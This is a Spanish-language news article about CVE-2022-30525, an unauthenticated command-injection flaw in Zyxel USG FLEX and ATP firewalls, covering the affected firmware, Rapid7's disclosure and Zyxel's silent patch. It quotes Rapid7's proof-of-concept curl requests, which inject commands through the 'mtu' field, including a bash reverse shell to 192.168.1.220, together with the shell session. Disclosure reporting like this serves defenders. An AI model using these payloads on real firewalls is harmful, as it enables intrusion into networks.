El fabricante de hardware Zyxel lanzó silenciosamente una actualización que corrige una vulnerabilidad crítica que brinda a los piratas informáticos la capacidad de controlar decenas de miles de dispositivos de firewall de forma remota.
La vulnerabilidad, que permite la inyección de comandos remotos sin necesidad de autenticación, tiene una clasificación de gravedad de 9,8 de 10 posibles. Es fácil de explotar mediante el envío de solicitudes HTTP o HTTPS simples a los dispositivos afectados. Las solicitudes permiten a los piratas informáticos enviar comandos o abrir una interfaz de shell web que les permite mantener un acceso privilegiado a lo largo del tiempo.
De alto valor, fácil de armar, no requiere autenticación
La vulnerabilidad afecta a una línea de firewalls que ofrecen una función conocida como aprovisionamiento sin contacto. Zyxel comercializa los dispositivos para su uso en implementaciones de sedes corporativas y sucursales pequeñas. Los dispositivos realizan conectividad VPN, inspección SSL, filtrado web, protección contra intrusiones y seguridad de correo electrónico y brindan un rendimiento de hasta 5 Gbps a través del firewall. El servicio de búsqueda de dispositivos de Shodan muestra que más de 16.000 dispositivos afectados están expuestos a Internet.
Los dispositivos específicos afectados son:
Modelo afectado | Versión de firmware afectada |
---|---|
USG FLEX 100, 100 W, 200, 500, 700 | ZLD5.00 a ZLD5.21 Parche 1 |
USG20-VPN, USG20W-VPN | ZLD5.10 a ZLD5.21 Parche 1 |
ATP 100, 200, 500, 700, 800 | ZLD5.10 a ZLD5.21 Parche 1 |
La vulnerabilidad se rastrea como CVE-2022-30525. Rapid7, la firma de seguridad que lo descubrió y lo informó en privado a Zyxel, dijo que la serie VPN de los dispositivos también es compatible con ZTP, pero no son vulnerables porque no incluyen otras funciones requeridas. en un aviso publicado el jueves
Los modelos afectados son vulnerables a la inyección de comandos remotos y no autenticados a través de la interfaz HTTP administrativa. Los comandos se ejecutan como el
nobody
usuario. Esta vulnerabilidad es explotada a través de la/ztp/cgi-bin/handler
URI y es el resultado de pasar la entrada del atacante sin desinfectar alos.system
método enlib_wan_settings.py
. La funcionalidad vulnerable se invoca en asociación con elsetWanPortSt
dominio. Un atacante puede inyectar comandos arbitrarios en elmtu
o eldata
parámetro.
A continuación se muestran ejemplos de (1) curl
que hace que el cortafuegos ejecute una ping
de a la dirección IP 192.168.1.220, seguido de (2) el powershell genera los resultados, (3) la generación de un shell inverso y (4) cosas que un hacker puede hacer con el shell inverso:
-
-
curl -v --insecure -X POST -H "Content-Type: application/json" -d '{"command":"setWanPortSt","proto":"dhcp","port":"4","vlan_tagged" :"1","vlanid":"5","mtu":"; ping 192.168.1.220;","data":"hi"}' https://192.168.1.1/ztp/cgi-bin/handler
-
nobody 11040 0.0 0.2 21040 5152 ? S Apr10 0:00 \_ /usr/local/apache/bin/httpd -f /usr/local/zyxel-gui/httpd.conf -k graceful -DSSL nobody 16052 56.4 0.6 18104 11224 ? S 06:16 0:02 | \_ /usr/bin/python /usr/local/zyxel-gui/htdocs/ztp/cgi-bin/handler.py nobody 16055 0.0 0.0 3568 1492 ? S 06:16 0:00 | \_ sh -c /usr/sbin/sdwan_iface_ipc 11 WAN3 4 ; ping 192.168.1.220; 5 >/dev/null 2>&1 nobody 16057 0.0 0.0 2152 564 ? S 06:16 0:00 | \_ ping 192.168.1.220
-
curl -v --insecure -X POST -H "Content-Type: application/json" -d ' {"command":"setWanPortSt","proto":"dhcp","port":"4","vlan_tagged": "1","vlanid":"5","mtu":"; bash -c \"exec bash -i &>/dev/tcp/ 192.168.1.220/1270 <&1;\";","data":"hi"}' https://192.168.1.1 /ztp/cgi-bin/handler
-
albinolobster@ubuntu:~$ nc -lvnp 1270 Listening on 0.0.0.0 1270 Connection received on 192.168.1.1 37882 bash: cannot set terminal process group (11037): Inappropriate ioctl for device bash: no job control in this shell bash-5.1$ id id uid=99(nobody) gid=10003(shadowr) groups=99,10003(shadowr) bash-5.1$ uname -a uname -a Linux usgflex100 3.10.87-rt80-Cavium-Octeon #2 SMP Tue Mar 15 05:14:51 CST 2022 mips64 Cavium Octeon III V0.2 FPU V0.0 ROUTER7000_REF (CN7020p1.2-1200-AAP) GNU/Linux Bash-5.1
-
Rapid7 ha desarrollado un módulo para el marco de explotación de Metasploit aquí que automatiza el proceso de explotación.
Baines dijo que Rapid7 notificó a Zyxel sobre la vulnerabilidad el 13 de abril y que las dos partes acordaron proporcionar una divulgación coordinada, incluida la solución, el 21 de junio. El investigador continuó diciendo que, sin el conocimiento de Rapid7, el fabricante de hardware lanzó una actualización de firmware. el 28 de abril que corrigió silenciosamente la vulnerabilidad. Zyxel solo obtuvo el número CVE el martes, luego de que Rapid7 preguntara sobre el parche silencioso y publicara un consultivo el jueves.
Según AttackerKB, un recurso sobre vulnerabilidades de seguridad, CVE-2022-30525 es de gran valor para los actores de amenazas porque es fácil de armar, no requiere autenticación y puede explotarse en la configuración predeterminada de dispositivos vulnerables. Los representantes de Rapid7 no estaban disponibles para responder preguntas básicas sobre la precisión de esa evaluación.
Los administradores deben aplicar manualmente el parche a menos que hayan cambiado la configuración predeterminada para permitir la actualización automática. Los primeros indicios son que el parche no se ha implementado ampliamente, ya que una consulta de Shodan para solo uno de los firewalls vulnerables, el ATP200, mostró que solo alrededor del 25 por ciento de los dispositivos expuestos estaban ejecutando el firmware más reciente.
Las vulnerabilidades que afectan a los cortafuegos pueden ser especialmente graves porque se ubican en el borde exterior de las redes donde fluye el tráfico entrante y saliente. Muchos cortafuegos también pueden leer datos antes de que se cifren. Los administradores que supervisan las redes que usan estos dispositivos afectados deben priorizar la investigación de su exposición a esta vulnerabilidad y parchear en consecuencia.